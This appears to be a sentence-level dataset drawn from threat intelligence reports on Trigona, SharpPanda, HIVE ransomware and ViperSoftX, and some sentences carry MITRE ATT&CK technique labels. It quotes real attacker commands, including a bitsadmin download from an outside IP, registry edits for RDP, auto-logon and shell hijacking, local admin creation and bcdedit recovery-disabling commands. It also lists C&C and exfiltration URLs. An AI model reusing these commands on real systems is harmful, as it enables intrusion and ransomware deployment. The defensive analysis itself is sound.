{"sentence": "Ensure that the User-ID Agent has minimal permissions if User-ID is enabled Ensure that User-ID is only enabled for internal trusted interfaces Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure that the User-ID service account does not have interactive logon rights Ensure that all zones have Zone Protection Profiles with all Reconnaissance Protection settings enabled, tuned, and set to appropriate actions Ensure that 'Include/Exclude Networks' is used if User-ID is enabled Ensure that security policies restrict User-ID Agent traffic from crossing into untrusted zones Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Cortex XDR Prevent Configure Host Firewall Profile Cortex XSOAR Deploy XSOAR Playbook - Access Investigation Playbook Deploy XSOAR Playbook - Block Account Generic Threat Prevention Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies Command and Control", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Ingress Tool Transfer [T1105] Next-Generation Firewalls Ensure that the Certificate used for Decryption is Trusted Ensure application security policies exist when allowing traffic from an untrusted zone to a more trusted zone Ensure 'Security Policy' denying any/all traffic to/from IP addresses on Trusted Threat Intelligence Sources Exists Ensure 'SSL Forward Proxy Policy' for traffic destined to the Internet is configured Ensure 'SSL Inbound Inspection' is required for all untrusted traffic destined for servers using SSL or TLS Ensure 'Service setting of ANY' in a security policy allowing traffic does not exist Setup File Blocking Threat Prevention Ensure DNS sinkholing is configured on all anti-spyware profiles in use Ensure passive DNS monitoring is set to enabled on all anti-spyware profiles in use Ensure a secure anti-spyware profile is applied to all security policies permitting traffic to the Internet Ensure that antivirus profiles are set to block on all decoders except 'imap' and 'pop3' Ensure an anti-spyware profile is configured to block on all spyware severity levels, categories, and threats Ensure a secure antivirus profile is applied to all relevant security policies URL Filtering Ensure secure URL filtering is enabled for all security policies allowing traffic to the Internet Ensure all HTTP Header Logging options are enabled Ensure that PAN-DB URL Filtering is used Ensure that URL Filtering uses the action of “block” or “override” on the URL categories", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Ensure that access to every URL is logged Cortex XSOAR Deploy XSOAR Playbook - PAN-OS Query Logs for Indicators Deploy XSOAR Playbook - Hunting C&C Communication Playbook (Deprecated) Deploy XSOAR Playbook - Block URL Deploy XSOAR Playbook - Block IP Cortex XDR Prevent XDR BIOCs / ABIOCs Impact", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "The below courses of action mitigate the following techniques: Data Encrypted for Impact [T1486], Service Stop [T1489],", "labels": [], "doc_title": "BeeWare of Trigona An Emerging Ransomware Strain"}
{"sentence": "Threat Actors Utilize Undetected Loaders for Stealthy Attacks SharpPanda, an APT group originating from China, has seen a rise in its cyber-attack operations starting from at least 2018.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Cyble Research and Intelligence Labs (CRIL) recently observed an ongoing campaign by SharpPanda APT.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Previously, this APT group has been observed targeting government officials, particularly in Southeast Asian countries.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "This latest campaign specifically targets high-level government officials from G20 nations.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The G20, or Group of Twenty, is an international forum comprising 19 countries and the European Union (EU).", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Member countries of the G20 include Argentina, Australia, Brazil, Canada, China, France, Germany, India, Indonesia, Italy, Japan, Mexico, Russia, Saudi Arabia, South Africa, South Korea, Turkey, the United Kingdom, and the United States.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Together, these nations represent a diverse range of economies, constituting a significant share of global GDP and population.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "In its latest campaign, the SharpPanda APT group employs a forged document linked to G7 to target various governments within the G20 forum.", "labels": ["T1566.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The delivery mechanism of the SharpPanda APT attack via a spam email is illustrated in the figure below.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 1 – Infection chain Technical Details Initial Infection", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "These emails, with the subject line “[Sending Finalized Text] G7+Partners FASS Meeting,” are distributed to multiple employees within government entities across G20 countries, as shown in the figure below.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The emails contain weaponized versions of seemingly genuine official documents, which employ the remote template injection method to retrieve the next stage of the malware from the TA’s Command-and-Control (C&C) server.", "labels": ["T1055"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The attached document in the spam email is shown below.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 3 – Opened document attachment from spam email Upon opening the document, it initiates the download of a new payload from the attacker’s remote server (hxxp[:]//13[.]236[.]189[.]80:8000/res/translate[.]res), which is RTF file serving as the next-level payload.", "labels": ["T1105"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 4 – Payload URL present inside the XML file of the malicious document The RTF file is weaponized using a tool called RoyalRoad.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "This tool enables the TAs to create customized documents containing embedded objects that exploit vulnerabilities in Microsoft Word’s Equation Editor.", "labels": ["T1027", "T1072"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "RoyalRoad leverages a specific set of vulnerabilities, including CVE-2018-0802, CVE-2018-0798, and CVE-2017-11882, within the Equation Editor of Microsoft Office.", "labels": ["T1072"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The TAs integrate anti-analysis and anti-debugging techniques into their loaders to avoid being detected while also utilizing the older Equation Editor exploits.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The RTF file includes both an encrypted payload and shellcode.", "labels": ["T1027"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "After decryption, the shellcode facilitates the establishment of a persistence mechanism.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "It achieves this by creating a scheduled task entry, which executes the export function “StartA” from the DLL “c6gt.b” using rundll32.exe on a daily basis.", "labels": ["T1053.005", "T1106", "T1218.011"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The figure below illustrates the presence of embedded content within the RTF document.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The DLL file’s original name is “Downloader.dll.”", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "This includes the hostname, operating system name, OS version, username, Internet information, as well as the presence of any installed anti-virus software on the machine.", "labels": ["T1016", "T1082", "T1518.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Subsequently, the loader encrypts the collected information using RC4 encryption with the key “xkYgv127” and encodes it using base64.", "labels": ["T1027"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The encrypted data is then exfiltrated using the below C&C URL: hxxps://13[.]236[.]189[.]80:8001/G0AnyWhere_up[.]jsp?Data=[redacted] The figure below illustrates the exfiltrated data sent to the C&C server, as well as the decrypted/decoded stolen information obtained from the victim’s machine.", "labels": ["T1041", "T1573.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Figure 7 – Exfiltrated data to C&C server Final Payload Once the victim’s information is sent to the remote server, the TA checks the information.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "During the final phase of the infection chain, the malicious loader in the SharpPanda APT campaign is specifically designed to download a backdoor module.", "labels": ["T1105"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "However, during our analysis, no response was received from the remote server.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "In previous SharpPanda APT campaigns, the loader establishes a connection with a C&C server in the final stage of the attack.", "labels": ["T1573.001"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Subsequently, it downloads and executes a malicious backdoor.", "labels": ["T1105"], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Previously, this group has been observed targeting government officials, particularly in Southeast Asian countries.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "However, as evidenced in this recent campaign, their focus has shifted to high-level government officials from G20 countries in Europe, North America, and South Asia.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The APT group consistently adapts its techniques and incorporates new tools into its arsenal as it evolves.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "CRIL actively monitors the latest APT attacks, phishing attempts, and circulating malware strains, consistently releasing informative blog posts that offer valuable insights and practical guidance to safeguard users against these widely recognized attacks.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "We recommend that our readers follow the best practices as mentioned below: Avoid downloading pirated software from warez/torrent websites.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "The “Hack Tool” present on sites such as YouTube, torrent sites, etc., mainly contains such malware.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Use strong passwords and enforce multi-factor authentication wherever possible.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Use a reputed anti-virus and internet security software package on your connected devices, including PC, laptop, and mobile.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Refrain from opening untrusted links and email attachments without first verifying their authenticity.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Educate employees on protecting themselves from threats like phishing/untrusted URLs.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "Enable Data Loss Prevention (DLP) Solutions on the employees’ systems.", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "MITRE ATT&CK:registered: Techniques Tactic Technique ID Technique Name Initial AccessT1566Spear-phishing AttachmentExecution T1204 T1203User ExecutionExploitation for Client ExecutionPersistenceT1053Scheduled TaskDefense EvasionT1497T1027Virtualization/Sandbox EvasionObfuscated Files or InformationDiscovery T1082 T1518T1016System Information Discovery Security Software DiscoverySystem Network ConfigurationCollectionT1006Data from Local SystemCommand AndControlT1065 T1071", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "T1105Uncommonly Used PortApplication Layer ProtocolIngress Tool TransferIndicators Of Compromise IndicatorsIndicator TypeDescriptionf39442edc4a96ce729e50f66901263e1734b1cd163937e9509ea616f5f7ff8870f7be8e51fb22c38c781495018deda70af49bda17269203547620c140ee9eee68cecc016MD5SHA1SHA256Spam email ea889308acb4249af92807cc7d70f08492c8f9ea9b6555e1b9c42cd7302f7caf62eb83e657b64a1ef1b04819ca9473e1bb74e1cf4be76b89b144e030dc1ef48f446ff95bMD5SHA1SHA256Documentattachment 92d994be99ea43c121ac4f4ddfacbf75f14afd2856dab6183150f6e269f5bb6f4a2e3f50180f5a0f9210698b54dcafb9a230b12e3eaf199889e5377a2acb7124c2d48d69MD5SHA1SHA256RTFdocument 09bf850be5da44a1c3629a1f62813a83a4e89d1f060e4dfd5f0fd4e7ba8be96967b39ac721f173a347ed111ce67e4c0f2c0bd4ee34bb7ca765da03635ca5c0df394cd7e6MD5SHA1SHA256DLL loader hxxp[:]//13[.]236[.]189[.]80:8000/res/translate[.]resURLRTF payloaddownload13[.]236[.]189[.]80:8000IP: PortC&C", "labels": [], "doc_title": "SharpPanda APT Campaign Expands its Arsenal Targeting G20 Nations"}
{"sentence": "How malicious actors evade detection and disable defenses for more destructive HIVE Ransomware attacks.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Rapid7 routinely conducts research into the wide range of techniques that threat actors use to conduct malicious activity.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In addition to those techniques, the actor employed a number of previously unseen techniques designed to to drop the defenses of the victim, inhibit monitoring, disable networking and allow time for the ransomware to finish encrypting files.", "labels": ["T1562.001"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Rapid7 has updated existing and added new detections to InsightIDR to defend against these techniques.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "What approach did the malicious actor take to prepare the victim's environment?Initially using Cobalt Strike, the malicious actor retrieved system administration tools and malicious payloads by using the Background Intelligent Transfer Service (BITSAdmin).\"C:\\Windows\\system32\\bitsadmin.exe\" /transfer", "labels": ["T1105"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "debjob /download", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "/priority normal http://79.137.206.47/PsExec.exe C:\\Users\\Public\\PsExec.exe bitsadmin /transfer", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This enabled the malicious actor to laterally move throughout the victim’s environment using the graphical user interface.PSEXESVC.exe: C:\\Windows\\PSEXESVC.exe└──cmd.exe: C:\\Windows\\system32\\cmd.exe /c \"\"rdp.bat\" \"└── reg.exe: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v", "labels": ["T1059.003", "T1112"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "REG_DWORD /d 0", "labels": ["T1112"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "/f Rapid7 observed the malicious actor add/change policies for the Active Directory domain to perform the following:Copy down batch scriptsExecute batch scripts (file1.bat), which:Creates administrator account on the local systemReconfigures boot configuration data (bcdedit.exe) so that the host will not load any additional drivers or services (ie: network drivers or endpoint protection)Sets various registry values to ensure the created local administrator user will automatically logon by defaultChanges the Windows Shell from Explorer to their malicious script (file2.bat)Reboots the system with the shutdown commandOn reboot, the system logs in and executes the shell (file2.bat), which:Extracts HIVE ransomware payload(s) from an encrypted archive (int.7z) using 7-Zip's console executable (7zr.exe)Executes the ransomware payload (int.exe or int64.exe)Below are some commands observed executed by the malicious actor (with necessary redactions):xcopy.exe /C/Q/H/Y/Z \"\\\\<REDACTED>\\sysvol\\<REDACTED>\\Policies {<REDACTED>}\\Machine\\Scripts\\Startup\\file1.bat\" \"C:\\windows\" xcopy.exe /C/Q/H/Y/Z \"\\\\<REDACTED>\\sysvol\\<REDACTED>\\Policies\\{<REDACTED>}\\Machine\\Scripts\\Startup\\file2.bat\" \"C:\\windows\" xcopy.exe /C/Q/H/Y/Z \"\\\\<REDACTED>\\sysvol\\<REDACTED>\\Policies\\{<REDACTED>}\\Machine\\Scripts\\Startup\\7zr.exe\" \"C:\\windows\" xcopy.exe /C/Q/H/Y/Z \"\\\\<REDACTED>\\sysvol\\<REDACTED>\\Policies\\{<REDACTED>}\\Machine\\Scripts\\Startup\\int.7z\" \"C:\\windows\\\" C:\\WINDOWS\\SYSTEM32\\cmd.exe /c", "labels": ["T1059.003", "T1112"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "\"C:\\windows\\file1.bat\" net user <REDACTED> <REDACTED> /add C:\\WINDOWS\\system32\\net1 user <REDACTED> <REDACTED> /add net user <REDACTED> /active:yes C:\\WINDOWS\\system32\\net1 user <REDACTED>", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "/active:yes net localgroup Administrators <REDACTED> /add", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "REG_SZ /d \"\" /f reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "REG_SZ /d \"\" /f reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "AutoAdminLogon /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "REG_SZ /d", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "1 /f reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "<REDACTED> /f reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "DefaultPassword /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "AutoLogonCount /t REG_DWORD /d", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "1 /f reg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Shell /t", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "\"C:\\windows\\file2.bat\" /f shutdown -r -f", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "The -u flag was also passed and the same values for the username:password were provided as seen on the other host.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "C:\\Windows\\int64.exe -u <REDACTED>:<REDACTED> -no-discoveryWhy is this approach so effective?Deployment of ransomware using Active Directory group policies allows the malicious actor to hit all systems in the environment for as long as that group policy is active in the victim’s environment.", "labels": ["T1484.001"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In this case, any system that was booting and connected to the environment would receive the configuration changes, encrypted archive containing the ransomware, a decompression utility to extract the ransomware, configuration changes and the order to reboot and execute.", "labels": ["T1027", "T1140"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This can be especially effective if timed with deployments of patches that require a reboot, done at the beginning of the day or even remotely using Powershell's Stop-Computer cmdlet.", "labels": ["T1027"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Storing the ransomware within a 7zip encrypted archive (int.7z) with a password even as simple as (123) makes the task of identifying the ransomware on disk or transmitted across the network nearly impossible.", "labels": ["T1027"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This makes retrieval and staging of the malicious actors payload very difficult to spot by security software or devices (Antivirus, Web Filtering, IDS/IPS and more).", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In this case, the malicious actor has taken care to only put the encrypted copy on the disk of a victim’s system and not execute it until they have fully dropped the defenses on the endpoint.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Reconfiguring the default boot behavior to safeboot minimal and then executing a reboot unloads all but the bare minimum for the Windows operating system.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "With no additional services, software or drivers loaded the system is at its most vulnerable.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "It should be noted that in this state, there is no method of remotely interacting with the system as no network drivers are loaded.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Manually priming the host in this way is more effective than the existing capabilities of the HIVE ransomware which stops specific defensive services (Windows Defender, etc) and kills specific processes prior to encrypting the contents of the drive.", "labels": ["T1562.001"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "All systems in this state are left automatically logged in as an administrator, which gives anyone who has physical access complete control.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Lastly, the system will continue to boot into safeboot minimal mode by default (again, no networking) until each system is set back to its original state with a command such as below.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Systems they executed with only the -u flag actively searched out network shares they had access to and encrypted their contents.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This ensures that only the intended hosts do network share encryption and all those that were rebooted into safeboot minimal do not flood the network simultaneously encrypting all files.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "It also means that the contents of network file shares that are not Windows based (various NAS devices, Linux hosts using Samba) will be encrypted even if the payload is not actually deployed on that specific host.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This approach would be extremely destructive to both corporate environments and home users with network attached storage systems for backups.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Malware analysis of HIVE sampleRapid7 observed that the HIVE payload would not execute unless a flag of -u was passed.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "During analysis it was discovered that passing -u asdf:asdf would result in the Login and Password (colon-delimited) provided to the victim to authenticate to the site behind the onion link on the TOR network:This, and other behaviors were previously reported on by Microsoft's article Hive Ransomware Gets Upgrades in Rust and also by Sophos in their Github Repository of IoC's mentioned in their article Lockbit, Hive, and BlackCat attack automotive supplier in triple ransomware attack.", "labels": ["T1090"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "The new flags -t, -timer, --timer effectively cause the malware to wait the specified number of seconds before going on to perform its actions.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "These features give the malicious actor more control over how/when the payload is executed and skirt common methods of command line and parent/child process related detection for most ransomware families.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Fundamentally, the sample’s respective flags distill down into encryption operations of local, mount and discovery.", "labels": ["T1106"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This is presumably crucial for OpenProcess -> OpenProcessToken -> ImpersonateLoggedOnUser API call attempts to processes: winlogon.exe and trustedinstaller.exe to subsequently stop security services and essential processes, if the --low-key is not passed during execution.", "labels": ["T1106"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "ShellExecuteA is also used to launch various Windows binaries (bcdedit.exe, notepad.exe, vssadmin.exe, wbadmin.exe, wmic.exe) for destruction of backups and ransom note display purposes.", "labels": ["T1106"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "The mount module will use NetUseEnum to identify the current list of locally-mounted network shares and add them to the list to be encrypted.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This list is then used with NetShareEnum to identify file shares on each remote host and add them to the list of locations to have their files encrypted.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "By default, all three modes (local, mount and discovery)are enabled, so all local, mounted and shares able to be enumerated will have their contents encrypted.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "This effectively ransoms all systems in a victim’s environment with a single execution of HIVE—when performed by a privileged user such as a Domain or Enterprise Admin account.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Command line flags may be used to change this behavior and invoke one or more of the modules.", "labels": ["T1059.003"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "For instance—local-only will use only the local module while—network-only will use the mount and discovery modules.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "FlagDescription-u<username>:<password> for login for hivecust*.onion domain to identify victim-da<domainname>\\<username>:<password> use different credentials when doing network spreading.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Likely shorthand for \"Domain Admin\".", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Calls LogonUserW triggering an 4624(S): Type 3 Network Logon event.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Will then call ImpersonateLoggedOnUser using the token in the response from LogonUserW.-low-key--low-keyEncrypt files and open ransom note, if local filesystem is to be encrypted, but do not spawn other binaries (vssadmin.exe, WMIC.exe, wbadmin.exe, bcdedit.exe) to perform other destructive actions for impact.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "{default} recoveryenabled No\"C:\\Windows\\System32\\bcdedit.exe\" /set {default} bootstatuspolicy ignoreallfailuresLastly, also opening up notepad.exe to display the ransom note with instructions to the victim on how to pay:\"C:\\Windows\\System32\\notepad.exe\" C:\\HOW_TO_DECRYPT.txtRapid7 ProtectionRapid7 has detections in place within InsightIDR through Insight Agent to detect this type of ransomware activity.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "So, identifying the actions of a malicious actor before ransomware is deployed is crucial to preventing the attack.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "In other words, it is essential to identify malicious actors within the environment and eject them before the ransomware payload is dropped.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "The following detections are now available InsightIDR to identify this attacker behavior.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Attacker Technique - Auto Logon Count Set OnceAttacker Technique - Potential Process Hollowing To DLLHostAttacker Technique - Shutdown With Message Used By Malicious ActorsAttacker Technique - URL Passed To BitsAdminLateral Movement - Enable RDP via reg.exeSuspicious Process - BCDEdit Enabling SafebootSuspicious Process - Boot Configuration Data Editor ActivitySuspicious Process - DLLHost With No Arguments Spawns ProcessSuspicious Process - Rundll32.exe With No Arguments Spawns ProcessSuspicious Process - ShadowCopy Delete Passed To WMICSuspicious Process - Volume Shadow Service Delete Shadow CopiesIOC's TypeValueRegistry KeyHKLM\\System\\CurrentControlSet\\Control\\Terminal ServerRegistry ValueType: DWORD Name: fDenyTSConnections", "labels": ["T1055"], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Value: 0Filenamerdp.batFilenamefile1.batFilenamefile2.batFilenameint.7zFilenameint64.exeMD589ea20880a6aae021940a8166ff85ee8SHA14af769fb3109c754bc879201c61242217a674a2eSHA256067af912ceddb1ea181490f2b3b5a323efcac61c82207833cda70c21c84460cbFilenameint.exeMD58fba0d57696ccf672ddcea4ba4d0e885SHA131097a7f91d182755fc63ebf023bff54cda5ae9cSHA256184a0f96cef09408b192767b405b0266403c9ec429945c1a78703f04f18c7416IP Address79.137.206[.]47FQDNpaloaltocloud[.]onlineFQDNmaxkey[.]onlineFQDNkeycloud[.]liveFQDNmicrocloud[.]onlineFQDNmicrocloud[.]liveIP Address194.135.24[.]241IP Address179.43.142[.]230IP Address77.73.133[.]80IP Address77.73.134[.]27IP Address77.73.134[.]10MITRE", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "ATT&CKTechniquesT1021 - Remote ServicesT1021.001 -", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Remote Desktop ProtocolT1021.002 - SMB/Windows Admin SharesT1027 - Obfuscated Files Or InformationT1027.009 - Embedded PayloadsT1037 - Boot Or Logon Initialization ScriptsT1037.003 - Network Logon ScriptT1059 - Command And Scripting InterpreterT1059.001 - PowerShellT1059.003 - Windows Command ShellT1070 - Indicator RemovalT1080 - Taint Shared ContentT1105 - Ingress Tool TransferT1112 - Modify RegistryT1135 - Network Share DiscoveryT1136 -", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "Archive Via UtilityT1562 - Impair DefensesT1562.001 - Disable Or Modify ToolsT1562.009 - Safe Mode BootT1570 - Lateral Tool TransferSoftwareS0029 - PSExecS0075 - RegS0190 - BITSAdminS0154 - Cobalt StrikeJakob Denlinger conducted malware analysis for this report.", "labels": [], "doc_title": "Increasing The Sting of HIVE Ransomware"}
{"sentence": "ViperSoftX Updates Encryption, Steals Data We observed cryptocurrency and information stealer ViperSoftX evading initial loader detection and making its lure more believable by making the initial package loader via cracks, keygens, activators, and packers non-malicious.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "By: Don Ovid Ladores April 24, 2023Read time: ( words) Save to Folio Subscribe ViperSoftX, a type of information-stealing software, has been primarily reported as focusing on cryptocurrencies, making headlines in 2022 for its execution technique of hiding malicious code inside log files.", "labels": ["T1027"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "Since it was first documented in November, we observed this malware campaign differentiating itself from its previous iteration with the use of DLL sideloading for its arrival and execution technique.", "labels": ["T1574.002"], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
{"sentence": "We also noted that this update includes a more sophisticated encryption method of byte remapping and a monthly change in command-and- control (C&C) server.", "labels": [], "doc_title": "ViperSoftX Updates Encryption Steals Data"}
